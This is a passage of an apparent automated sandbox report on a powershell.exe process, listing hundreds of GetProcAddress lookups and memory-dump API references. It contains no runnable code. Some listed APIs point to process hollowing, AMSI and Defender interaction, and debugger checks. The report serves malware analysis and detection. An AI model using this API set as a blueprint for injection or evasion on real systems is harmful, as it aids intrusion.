"GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisibleW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CoInternetCreateSecurityManager (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CryptAcquireContext (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CryptGetProvParam (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CryptContextAddRef (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CryptDuplicateKey (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CryptSetKeyParam (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CryptDecrypt (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RegCreateKeyEx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RegSetValueEx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddressW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter 45 (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RegDeleteKeyEx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RegDeleteKeyExW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValue (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfoW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter VirtualQuery (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter VirtualQueryW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetMappedFileName (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetMappedFileNameW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter ReadProcessMemory (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter ReadProcessMemoryW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter VirtualProtectW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter WriteProcessMemory (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter WriteProcessMemoryW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter WldpIsDynamicCodePolicyEnabled (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter LoadLibrary (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CheckRemoteDebuggerPresent (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter IsDebuggerPresent (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationProcess (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter EnumProcesses (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessesW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter Wow64SetThreadContext (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter Wow64GetThreadContext (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter ZwUnmapViewOfSection (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter TerminateProcess (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter TerminateProcessW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00007016)33:T6ff7,Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.2CDD0000.00000004.mdmp, 00000000-00007016.00000001.172521.2CE31000.00000004.mdmp, 00000000-00007016.00000001.172521.47B00000.00000004.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.2EBC2000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 